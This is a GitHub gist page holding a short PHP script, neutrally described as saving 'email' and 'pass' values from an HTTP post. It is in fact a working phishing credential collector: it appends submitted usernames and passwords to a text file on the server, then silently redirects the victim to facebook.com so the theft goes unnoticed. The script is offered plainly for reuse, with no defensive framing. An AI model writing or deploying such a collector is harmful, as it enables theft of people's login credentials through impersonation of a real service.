Skip to content

Instantly share code, notes, and snippets.

@0xD9D0
Created May 7, 2018 16:17
Show Gist options
  • Save 0xD9D0/29d70a21bd37d382bb5bfccd6218f792 to your computer and use it in GitHub Desktop.
Save 0xD9D0/29d70a21bd37d382bb5bfccd6218f792 to your computer and use it in GitHub Desktop.
HTTP post to txt

This php file handles input from an HTTP post of two inputs "email" & "pass" The file will print the values in txt files stored in the same directory then redirect the user to the webpage specified in the 9th line of code.

<?php
$message .= "---------- Login Values ----------\n";
$message .= "User: ".$_POST['email']."\n";
$message .= "Pass: ".$_POST['pass']."\n";
$message .= "------------------------------------\n";
$file = fopen("File.txt","a");
fwrite($file,$message);
fclose($file);
header("Location:https://facebook.com");
?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment